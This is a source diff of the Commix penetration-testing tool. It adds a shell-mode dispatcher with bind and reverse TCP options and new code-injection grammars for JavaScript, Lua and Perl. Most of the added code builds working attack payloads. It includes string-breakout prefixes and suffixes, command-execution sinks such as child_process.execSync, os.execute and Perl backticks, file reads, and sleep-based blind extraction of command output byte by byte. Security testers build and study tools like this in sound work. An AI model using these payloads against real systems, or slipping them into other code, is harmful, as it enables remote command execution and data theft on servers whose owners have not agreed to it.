+ "bind_tcp": bind_tcp_config_generic,
+ "reverse_tcp": reverse_tcp_config_generic,
+}
+
+"""
+Check commix shell options, dispatching command execution through the given executor callback.
+"""
+def check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""):
+ os_shell_option = checks.check_os_shell_options(cmd.lower(), filename, url)
+
+ if os_shell_option == "back" or os_shell_option is True or os_shell_option is False:
+ go_back = True
+ if os_shell_option is False:
+ go_back_again = True
+ return go_back, go_back_again
+
+ # The original "cmd" is used for the paths - "os_shell_option" is lowercased.
+ elif os_shell_option and os_shell_option.split(" ", 1)[0] == "download":
+ checks.shell_download(execute_cmd, cmd, filename)
+ return go_back, go_back_again
+
+ elif os_shell_option and os_shell_option.split(" ", 1)[0] == "upload":
+ checks.shell_upload(execute_cmd, cmd)
+ return go_back, go_back_again
+
+ # Bare mode names no longer switch mode - "use " does (see below).
+ elif os_shell_option in ("os_shell", "reverse_tcp", "bind_tcp"):
+ err_msg = "Type 'use " + os_shell_option + "' to switch to that mode."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return go_back, go_back_again
+
+ # "use os_shell" / "use bind_tcp" / "use reverse_tcp" - switch mode, mirroring the
+ # "use payload " flow inside the reverse_tcp/bind_tcp modes themselves.
+ # os_shell_option is None for "?" (check_os_shell_options() prints the help itself
+ # and returns nothing) - guard before slicing it.
+ elif os_shell_option and (os_shell_option == "use" or os_shell_option[0:4] == "use "):
+ use_target = os_shell_option[3:].strip()
+
+ if use_target == "os_shell":
+ warn_msg = "You are in the 'os_shell' mode."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return go_back, go_back_again
+
+ elif use_target in TCP_MODE_CONFIGS:
+ go_back, go_back_again = TCP_MODE_CONFIGS[use_target](execute_cmd, cmd, go_back, go_back_again, filename, url, separator)
+ if not settings.BIND_TCP and not settings.REVERSE_TCP:
+ info_msg = "Selected (default) mode: 'os_shell'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return go_back, go_back_again
+
+ else:
+ common.invalid_option(cmd)
+ return go_back, go_back_again
+
+ # The "quit" / "exit" options
+ elif os_shell_option == "quit" or os_shell_option == "exit":
+ checks.quit(filename, url, hard_exit=True)
+
+ else:
+ return go_back, go_back_again
+
+# eof
diff --git a/src/core/convert.py b/src/core/convert.py
index a6be82373a..4556bdd6eb 100644
--- a/src/core/convert.py
+++ b/src/core/convert.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -14,26 +14,39 @@
"""
import codecs
-from src.utils import settings
+import binascii
+from src.utils import settings
from src.thirdparty import six
+"""
+Decode string for hex
+"""
def hexdecode(value):
if value.lower().startswith("0x"):
value = value[2:]
try:
value = codecs.decode(''.join(value.split()), "hex")
+ except binascii.Error:
+ return value, False
except LookupError:
value = binascii.unhexlify(value)
- value = value.decode(settings.UNICODE_ENCODING)
- return value
+ # Not every sequence of bytes is text, so whether it decoded is the caller's to check.
+ try:
+ return value.decode(settings.DEFAULT_CODEC), True
+ except UnicodeDecodeError:
+ return value, False
+"""
+Encode string to hex
+"""
def hexencode(value):
if isinstance(value, six.text_type):
- value = value.encode(settings.UNICODE_ENCODING)
+ value = value.encode(settings.DEFAULT_CODEC)
try:
value = codecs.encode(value, "hex")
except LookupError:
value = binascii.hexlify(value)
- value = value.decode(settings.UNICODE_ENCODING)
- return value
+ # Every byte has a hex form, so unlike 'hexdecode' there is no outcome to report back.
+ return value.decode(settings.DEFAULT_CODEC)
+# eof
diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py
new file mode 100644
index 0000000000..09ad84a1b4
--- /dev/null
+++ b/src/core/eval/__init__.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+"""
+What code injection looks like in each language commix can reach: how a payload breaks into a
+string the application evaluates, how it closes again, and which of that language's own functions
+run a command. It is the technique that decides how execution is proven, so none of this belongs
+to one - a module here is used by whichever technique carries it.
+"""
+
+from src.core.eval.grammars import php
+from src.core.eval.grammars import python
+from src.core.eval.grammars import ruby
+from src.core.eval.grammars import javascript
+from src.core.eval.grammars import powershell
+from src.core.eval.grammars import perl
+from src.core.eval.grammars import lua
+
+LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby, javascript.NAME: javascript,
+ powershell.NAME: powershell, perl.NAME: perl, lua.NAME: lua}
+
+"""
+The languages that can be named with '--eval'.
+"""
+def supported():
+ return tuple(sorted(LANGUAGES))
+
+"""
+The grammar for one language, or the only one there is where none was named.
+"""
+def grammar(language=None):
+ return LANGUAGES.get(language) or LANGUAGES[php.NAME]
+
+# eof
diff --git a/src/core/eval/eb_handler.py b/src/core/eval/eb_handler.py
new file mode 100755
index 0000000000..7c62294b3b
--- /dev/null
+++ b/src/core/eval/eb_handler.py
@@ -0,0 +1,35 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+from src.core.controller import handler
+
+"""
+The dynamic code evaluation (aka eval-based) technique.
+"""
+
+"""
+The "eval-based" injection technique handler.
+"""
+def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique):
+ return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique)
+
+"""
+The exploitation function.
+(call the injection handler)
+"""
+def exploitation(url, timesec, filename, http_request_method, injection_type, technique):
+ return eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique)
+
+# eof
diff --git a/src/core/eval/eb_injector.py b/src/core/eval/eb_injector.py
new file mode 100755
index 0000000000..d85e6d8e28
--- /dev/null
+++ b/src/core/eval/eb_injector.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+from src.core.controller import injector
+
+"""
+The dynamic code evaluation (aka eval-based) technique.
+"""
+
+"""
+Evaluate test results.
+"""
+def injection_test_results(response, TAG, randvcalc, technique, payload=None):
+ return injector.injection_test_results(response, TAG, randvcalc, technique, payload)
+
+"""
+The main command injection exploitation.
+"""
+def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique):
+ OUTPUT_TEXTFILE = ""
+ return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+
+"""
+The command execution results.
+"""
+def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec):
+ url = OUTPUT_TEXTFILE = timesec = ""
+ return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
+# eof
diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/eval/grammars/__init__.py
similarity index 86%
rename from src/core/injections/blind/techniques/time_based/__init__.py
rename to src/core/eval/grammars/__init__.py
index b50e6972c9..7cd55728d8 100644
--- a/src/core/injections/blind/techniques/time_based/__init__.py
+++ b/src/core/eval/grammars/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -13,4 +13,4 @@
For more see the file 'readme/COPYING' for copying permission.
"""
-pass
\ No newline at end of file
+# eof
diff --git a/src/core/eval/grammars/javascript.py b/src/core/eval/grammars/javascript.py
new file mode 100644
index 0000000000..c53ef06e0b
--- /dev/null
+++ b/src/core/eval/grammars/javascript.py
@@ -0,0 +1,205 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+NAME = "javascript"
+
+# The same name as it is written out to the user, where the switch's own spelling would read wrong.
+LABEL = "JavaScript"
+
+"""
+An expression whose value says at once that code was evaluated, and which build evaluated it.
+
+Node carries no single banner the way Python's 'sys.version' or Ruby's 'RUBY_DESCRIPTION' do, so
+this joins the three values that together are unique to a Node build - version, platform, and
+architecture - into one string a payload's own regex reads back in one piece.
+"""
+PROBE = "process.version+process.platform+process.arch"
+
+# The probe on its own, and coerced to a string where the bare expression is not rendered as one -
+# it already is one, but a sink built for a value never rendered as text may still expect a call.
+PROBE_FUNCTIONS = ["" + PROBE + "",
+ "String(" + PROBE + ")",
+ "(" + PROBE + ").toString()"
+]
+
+# The same probes broken into the string being evaluated, one boundary per row - each row pairing a
+# prefix with the suffix that closes it, the way the boundaries below are paired.
+PROBE_PAYLOADS = [
+ [x for x in PROBE_FUNCTIONS],
+ ["+" + x for x in PROBE_FUNCTIONS],
+ ["'+" + x + "+'" for x in PROBE_FUNCTIONS],
+ ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS],
+ ["')+" + x + "+('" for x in PROBE_FUNCTIONS]
+]
+
+PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload]
+
+# What the probe's own value looks like coming back, and the complaints that say a payload reached
+# an evaluated string even where nothing was rendered.
+PROBE_REGEX = r"(v\d+\.\d+\.\d+)(?:linux|darwin|win32|freebsd|openbsd|sunos|aix)(?:x64|arm64|arm64?|ia32|ppc64|s390x)"
+WARNINGS = ["SyntaxError", "ReferenceError", "is not defined", "Unexpected token", "at eval "]
+
+"""
+The language's own callables that run a command, widest first as the level rises.
+
+Each is written out whole, the 'require' included: there is no bare name for these the way a
+language with them built in would have, and the prefix below only adds the bracket.
+"""
+EXECUTION_FUNCTIONS_LVL1 = ["require(\"child_process\").execSync"]
+EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["require(\"child_process\").exec"]
+EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["require(\"child_process\").spawnSync", "eval"]
+
+# Breaking out of the evaluated string, and closing it again behind the payload.
+SEPARATORS_LVL1 = [""]
+SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"]
+SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"]
+
+# The whole value as the expression, concatenation onto a value that is already one, and
+# concatenation out of a quoted string the value sits inside.
+PREFIXES_LVL1 = ["", "+", "'+", "\"+"]
+# Closing a call the value sits inside, and a further argument to one.
+PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","]
+# Ending the statement outright, where the sink runs statements rather than an expression.
+PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"]
+
+SUFFIXES_LVL1 = ["", "+'", "+\""]
+# Closing the call again, and commenting out whatever the application appends behind it - this
+# language's line comment is '//', not the '#' another dynamic language would use here.
+SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "//"]
+SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'//", "\"//", ")//", "]//", "}//", ",'", ",\""]
+
+# How one of the functions above is reached, as a prefix a payload is wrapped in.
+def execution_prefix(function):
+ return function + "("
+
+"""
+Wrap the shell commands a payload runs in what this language renders them with.
+
+There is no statement here that writes to the response the way another language's print does: what
+the application renders is the value of the expression it evaluated, so the commands' output is
+concatenated and handed back as that value.
+"""
+def print_statement(separator, commands, chain=None):
+ if separator == "":
+ return "+".join(run(command) for command in commands)
+ return run((chain or separator).join(commands))
+
+"""
+The expressions every payload is built out of, spelled the way this language spells them.
+
+What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how
+long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling
+differs - so the techniques ask through the names below, and a language is added by writing them
+again rather than by touching a payload.
+"""
+
+# A string literal holding the given text.
+def _literal(text):
+ text = text.replace("\\", "\\\\").replace("\"", "\\\"")
+ return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\""
+
+# Run a command and yield its output. 'execSync' answers with a Buffer, not the string itself.
+def run(cmd):
+ return "require(\"child_process\").execSync(" + _literal(cmd) + ").toString()"
+
+# Read a file and yield its contents.
+def read_file(path):
+ return "require(\"fs\").readFileSync(" + _literal(path) + ").toString()"
+
+"""
+Drop the newlines an output ends with, so a length agrees with what a shell's own substitution
+would report.
+
+Whitespace of every kind taken off instead, an output ending in a space or a tab was reported
+shorter than it is and came back without the part of it that said so: a command printing 'AB '
+was answered with 'AB', while the techniques reading their answer off a substitution handed back
+all four characters. A substitution drops newlines and stops at the first byte that is not one -
+a carriage return, among them - so that is what comes off here.
+"""
+def trim(expr):
+ return "(" + expr + ").replace(/\\n+$/, \"\")"
+
+"""
+How many bytes an expression is.
+
+Counted off the bytes rather than off what this language calls its characters: a command printing
+three Greek letters is six bytes and was reported as three, so the search asked about half of them
+and the other half came back as nothing at all. Every other grammar here counts bytes, and the
+ordinals the techniques read are byte ordinals, so the two have to agree on what a position is.
+
+Read through the one pair of calls every build of this language has had: 'encodeURIComponent' writes
+each byte as its own escape and 'unescape' reads those back one per character, which is a string
+whose length and whose character codes are the bytes. A 'Buffer' would say the same thing in fewer
+calls and is not there at all outside Node, which one of the sinks this grammar answers is not.
+"""
+def length(expr):
+ return "unescape(encodeURIComponent(" + expr + ")).length"
+
+# The ordinal of an expression's Nth byte, counting from zero. 'charCodeAt' answers 'NaN' past the
+# end, which the search would read as a comparison that is never true - answering zero instead
+# says plainly that nothing is there, the way every other language's grammar here does too.
+def ordinal(expr, index):
+ # Parenthesised around the whole of it: '||' binds looser than every comparison this grammar
+ # writes around an ordinal, so the fallback would otherwise take the comparison for its own right
+ # side rather than standing in for a byte that is not there. Read off the bytes, as the length
+ # beside it is.
+ return "(unescape(encodeURIComponent(" + expr + ")).charCodeAt(" + str(index) + ")||0)"
+
+# An expression's value read as a number, for a command whose output is one.
+def to_number(expr):
+ return "(Number(" + expr + ")||0)"
+
+"""
+Wait for as long as the condition is true, and no time at all when it is false.
+
+There is no synchronous sleep built into the language itself - only a callback-based timer, which a
+single expression cannot wait on - so the delay is asked of the shell instead, through the same
+'execSync' the rest of this grammar already reaches a command with.
+"""
+def delay(timesec, condition):
+ return "((" + condition + ")?require(\"child_process\").execSync(\"sleep " + str(timesec) + "\"):0)"
+
+"""
+Stop the page where the condition does not hold, so what comes back says which it was.
+
+Thrown rather than exiting the process outright: a request handler here usually runs inside a
+server the same process goes on serving other requests from, unlike the per-request worker another
+language's grammar can afford to end. An uncaught throw reaches the same result - the response the
+target sends back differs from the one a satisfied condition renders - without taking that server
+down for every request after this one. Wrapped in a call, since 'throw' is a statement and this
+sits inside a ternary, which only takes expressions on either side.
+"""
+def halt(condition):
+ # Empty string rather than a number: the value is spliced into whatever the target was building,
+ # and only a string leaves that expression intact for the page to render as it normally would.
+ return "((" + condition + ")?\"\":(()=>{throw new Error()})())"
+
+"""
+Evaluate one expression and then another, within a single expression.
+
+The comma operator: it evaluates its left side, discards the value, then evaluates and yields its
+right side - built for exactly this, unlike the tuple or concatenation another language's grammar
+has to reach for here instead.
+"""
+def sequence(first, second):
+ return "(" + first + "," + second + ")"
+
+# The shell's comparison operators, as this language spells them.
+COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="}
+
+# What ends a statement, where the boundary being tested can carry one.
+TERMINATOR = ";"
+
+# eof
diff --git a/src/core/eval/grammars/lua.py b/src/core/eval/grammars/lua.py
new file mode 100644
index 0000000000..f7af24ecb1
--- /dev/null
+++ b/src/core/eval/grammars/lua.py
@@ -0,0 +1,185 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+NAME = "lua"
+
+# The same name as it is written out to the user, where the switch's own spelling would read wrong.
+LABEL = "Lua"
+
+# A constant whose value says at once that code was evaluated, and which build evaluated it.
+PROBE = "_VERSION"
+
+# The probe on its own - already a string, so nothing here needs to coerce it into one.
+PROBE_FUNCTIONS = ["" + PROBE + ""]
+
+# The same probe broken into the string being evaluated, one boundary per row.
+PROBE_PAYLOADS = [
+ [x for x in PROBE_FUNCTIONS],
+ [".." + x for x in PROBE_FUNCTIONS],
+ ["'.." + x + "..'" for x in PROBE_FUNCTIONS],
+ ["\".." + x + "..\"" for x in PROBE_FUNCTIONS],
+ ["') .." + x + "..('" for x in PROBE_FUNCTIONS]
+]
+
+PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload]
+
+# What the probe's own value looks like coming back, and the complaints that say a payload reached
+# an evaluated string even where nothing was rendered.
+PROBE_REGEX = r"Lua (\d+\.\d+)"
+WARNINGS = ["unexpected symbol", "attempt to call", "attempt to index", "')' expected", "[string \""]
+
+"""
+The language's own functions that run a command, widest first as the level rises.
+
+Each is written out whole, its module included - this language has no bare name for either, the way
+one without them built in would need written out again here.
+"""
+EXECUTION_FUNCTIONS_LVL1 = ["os.execute"]
+EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["io.popen"]
+EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2
+
+# Breaking out of the evaluated string, and closing it again behind the payload.
+SEPARATORS_LVL1 = [""]
+SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"]
+SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"]
+
+# The whole value as the expression, concatenation onto a value that is already one (with '..',
+# this language's own concatenation operator), and concatenation out of a quoted string the value
+# sits inside - either quote reads the same here, neither one interpolating what it holds.
+PREFIXES_LVL1 = ["", "..", "'..", "\".."]
+PREFIXES_LVL2 = PREFIXES_LVL1 + ["')..", "\")..", "',", "\","]
+PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"]
+
+SUFFIXES_LVL1 = ["", "..'", "..\""]
+# Closing the call again, and commenting out whatever the application appends behind it.
+SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["..('", "..(\"", "--"]
+SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'--", "\"--", ")--", "]--", "}--", ",'", ",\""]
+
+# How one of the functions above is reached, as a prefix a payload is wrapped in.
+def execution_prefix(function):
+ return function + "("
+
+"""
+Wrap the shell commands a payload runs in what this language renders them with.
+
+There is no statement here that writes to the response the way another language's print does: what
+the application renders is the value of the expression it evaluated, so the commands' output is
+concatenated and handed back as that value.
+"""
+def print_statement(separator, commands, chain=None):
+ if separator == "":
+ return "..".join(run(command) for command in commands)
+ return run((chain or separator).join(commands))
+
+"""
+The expressions every payload is built out of, spelled the way this language spells them.
+"""
+
+# A string literal holding the given text. Lua strings read exactly what is between their quotes -
+# nothing in one is ever read back as a variable or another expression - so only a literal
+# backslash and the quote closing this one need escaping, nothing an embedded '$' or '@' needs.
+def _literal(text):
+ text = text.replace("\\", "\\\\").replace("\"", "\\\"")
+ return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\""
+
+# Run a command and yield its output, through the one handle this language reads a command's
+# stdout from.
+def run(cmd):
+ return "io.popen(" + _literal(cmd) + "):read(\"*a\")"
+
+# Read a file and yield its contents.
+def read_file(path):
+ return "io.open(" + _literal(path) + "):read(\"*a\")"
+
+"""
+Drop the newlines an output ends with, so a length agrees with what a shell's own substitution
+would report.
+
+Whitespace of every kind taken off instead, an output ending in a space or a tab was reported
+shorter than it is and came back without the part of it that said so: a command printing 'AB '
+was answered with 'AB', while the techniques reading their answer off a substitution handed back
+all four characters. A substitution drops newlines and stops at the first byte that is not one -
+a carriage return, among them - so that is what comes off here, written as the decimal escape for
+it rather than as the byte, which the payload carries no better than the shell around it does.
+
+Parenthesised around the whole call: 'gsub' answers the string and how many times it matched, and
+the second of those would otherwise still be there wherever this sits as the last of several
+arguments passed to something else - 'string.len', not least.
+"""
+def trim(expr):
+ return "((" + expr + "):gsub(\"\\10+$\", \"\"))"
+
+# How many bytes an expression is.
+def length(expr):
+ return "#(" + expr + ")"
+
+"""
+The ordinal of an expression's Nth byte, counting from zero.
+
+'string.byte' itself counts from one, so the index asked for here is one more than it would be
+anywhere else in this grammar - answering nothing, not a byte that happens to share a value, where
+the index runs past the end.
+"""
+def ordinal(expr, index):
+ # Parenthesised around the whole of it: 'or' binds looser than every comparison this grammar
+ # writes around an ordinal, so the fallback would otherwise take the comparison for its own right
+ # side - a byte that is there answers the 'or' before the comparison is ever reached, every
+ # comparison came back true, and the search for the byte converged on the top of its pool
+ # whatever the byte was.
+ return "((" + expr + "):byte(" + str(index + 1) + ") or 0)"
+
+# An expression's value read as a number, for a command whose output is one.
+def to_number(expr):
+ return "(tonumber(" + expr + ") or 0)"
+
+"""
+Wait for as long as the condition is true, and no time at all when it is false.
+
+Both sides of this language's own stand-in for a ternary have to answer something true-like of
+their own, or the 'or' beside it would run anyway - 'sleep N' always does, so there is nothing here
+the empty string this grammar's halt() answers would have needed a second guard against.
+"""
+def delay(timesec, condition):
+ return "os.execute((" + condition + ") and \"sleep " + str(timesec) + "\" or \"true\")"
+
+"""
+Stop the page where the condition does not hold, so what comes back says which it was.
+"""
+def halt(condition):
+ # Empty string rather than a number: the value is spliced into whatever the target was building,
+ # and only a string leaves that expression intact for the page to render as it normally would.
+ # The empty string answering true here is no different from any other string to this language's
+ # own 'and'/'or' - unlike some, it never reads one as the false this grammar does not mean.
+ # Wrapped whole: '..' binds tighter than 'and'/'or' here, so the payload's own concatenation onto
+ # this would otherwise reach straight through 'or' into one side of it alone.
+ return "((" + condition + ") and \"\" or os.exit())"
+
+"""
+Evaluate one expression and then another, within a single expression.
+
+'select(2, ...)' returns everything from its second argument on - both are still evaluated to get
+there, so the first one's side effect still runs, but only the second is what the whole thing reads
+as. The comma operator another grammar reaches for here has no equivalent of its own in this one.
+"""
+def sequence(first, second):
+ return "(select(2," + first + "," + second + "))"
+
+# The shell's comparison operators, as this language spells them.
+COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "~="}
+
+# What ends a statement, where the boundary being tested can carry one.
+TERMINATOR = ";"
+
+# eof
diff --git a/src/core/eval/grammars/perl.py b/src/core/eval/grammars/perl.py
new file mode 100644
index 0000000000..10ceb2490c
--- /dev/null
+++ b/src/core/eval/grammars/perl.py
@@ -0,0 +1,169 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+NAME = "perl"
+
+# The same name as it is written out to the user, where the switch's own spelling would read wrong.
+LABEL = "Perl"
+
+# An expression whose value says at once that code was evaluated, and which build evaluated it.
+# '$]' is the interpreter's own version number, '$^O' the platform it was built for - neither one
+# alone is unique to Perl, but nothing else renders this exact pair back in this exact order.
+PROBE = "$] . $^O"
+
+# The probe on its own, and wrapped in what would render it where the bare value is not.
+PROBE_FUNCTIONS = ["" + PROBE + "",
+ "(" + PROBE + ")"
+]
+
+# The same probes broken into the string being evaluated, one boundary per row.
+PROBE_PAYLOADS = [
+ [x for x in PROBE_FUNCTIONS],
+ ["." + x for x in PROBE_FUNCTIONS],
+ ["'." + x + ".'" for x in PROBE_FUNCTIONS],
+ ["\"." + x + ".\"" for x in PROBE_FUNCTIONS],
+ ["')." + x + ".('" for x in PROBE_FUNCTIONS]
+]
+
+PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload]
+
+# What the probe's own value looks like coming back, and the complaints that say a payload reached
+# an evaluated string even where nothing was rendered.
+PROBE_REGEX = r"(\d+\.\d+)(?:linux|darwin|MSWin32|freebsd|openbsd|solaris|cygwin)"
+WARNINGS = ["syntax error", "at (eval", "Global symbol", "Can't locate", "Undefined subroutine"]
+
+"""
+The language's own functions that run a command, widest first as the level rises.
+
+Each is written as a bare name a payload can wrap in a call - the backtick operator runs a command
+too, and is reached through 'run()' below rather than named here, since it is not a call this
+prefix scheme can wrap.
+"""
+EXECUTION_FUNCTIONS_LVL1 = ["system"]
+EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["exec"]
+EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2
+
+# Breaking out of the evaluated string, and closing it again behind the payload.
+SEPARATORS_LVL1 = [""]
+SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"]
+SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"]
+
+# The whole value as the expression, concatenation onto a value that is already one (with '.', not
+# '+' - this language's own concatenation operator), and concatenation out of a quoted string the
+# value sits inside.
+PREFIXES_LVL1 = ["", ".", "'.", "\"."]
+PREFIXES_LVL2 = PREFIXES_LVL1 + ["')." , "\")." , "',", "\","]
+PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"]
+
+SUFFIXES_LVL1 = ["", ".'", ".\""]
+SUFFIXES_LVL2 = SUFFIXES_LVL1 + [".('", ".(\"", "#"]
+SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""]
+
+# How one of the functions above is reached, as a prefix a payload is wrapped in.
+def execution_prefix(function):
+ return function + "("
+
+"""
+Wrap the shell commands a payload runs in what this language renders them with.
+
+There is no statement here that writes to the response the way another language's print does: what
+the application renders is the value of the expression it evaluated, so the commands' output is
+concatenated and handed back as that value.
+"""
+def print_statement(separator, commands, chain=None):
+ if separator == "":
+ return ".".join(run(command) for command in commands)
+ return run((chain or separator).join(commands))
+
+"""
+The expressions every payload is built out of, spelled the way this language spells them.
+"""
+
+"""
+A string literal holding the given text.
+
+Written inside '${\\ ... }', which interpolates one expression's value as-is - unlike a bare
+backtick string, which reads '$' and '@' in whatever it is given as its own interpolation, however
+much of the command they were never meant to be. 'sleep', 'exit' and the rest of this grammar never
+go through this, so only run() and read_file() need it.
+"""
+def _literal(text):
+ text = text.replace("\\", "\\\\").replace("\"", "\\\"").replace("$", "\\$").replace("@", "\\@")
+ text = text.replace("\r", "\\r").replace("\n", "\\n")
+ return "\"" + text + "\""
+
+# Run a command and yield its output, through the backtick operator.
+def run(cmd):
+ return "`${\\" + _literal(cmd) + "}`"
+
+# Read a file and yield its contents.
+def read_file(path):
+ return run("cat " + path)
+
+"""
+Drop the newlines an output ends with, so a length agrees with what a shell's own substitution
+would report.
+
+Whitespace of every kind taken off instead, an output ending in a space or a tab was reported
+shorter than it is and came back without the part of it that said so: a command printing 'AB '
+was answered with 'AB', while the techniques reading their answer off a substitution handed back
+all four characters. A substitution drops newlines and stops at the first byte that is not one -
+a carriage return, among them - so that is what comes off here.
+"""
+def trim(expr):
+ return "((" + expr + ")=~s/\\n+\\z//r)"
+
+# How many bytes an expression is.
+def length(expr):
+ return "length(" + expr + ")"
+
+# The ordinal of an expression's Nth byte, counting from zero.
+def ordinal(expr, index):
+ return "ord(substr(" + expr + "," + str(index) + ",1))"
+
+# An expression's value read as a number, for a command whose output is one - '+0' numeric context
+# answers 0 for anything that is not one, the same as every other grammar's own fallback here.
+def to_number(expr):
+ return "((" + expr + ")+0)"
+
+# Wait for as long as the condition is true, and no time at all when it is false.
+def delay(timesec, condition):
+ return "sleep(" + str(timesec) + "*(" + condition + "))"
+
+"""
+Stop the page where the condition does not hold, so what comes back says which it was.
+"""
+def halt(condition):
+ # Empty string rather than a number: the value is spliced into whatever the target was building,
+ # and only a string leaves that expression intact for the page to render as it normally would.
+ return "((" + condition + ")?\"\":exit())"
+
+"""
+Evaluate one expression and then another, within a single expression.
+
+The comma operator discards its first side and yields its second only in scalar context - in list
+context, the one 'print' or an outer list assignment would give it, both sides come back instead,
+first included. 'scalar(...)' forces the one this grammar means regardless of where it then sits.
+"""
+def sequence(first, second):
+ return "scalar((" + first + "," + second + "))"
+
+# The shell's comparison operators, as this language spells them.
+COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="}
+
+# What ends a statement, where the boundary being tested can carry one.
+TERMINATOR = ";"
+
+# eof
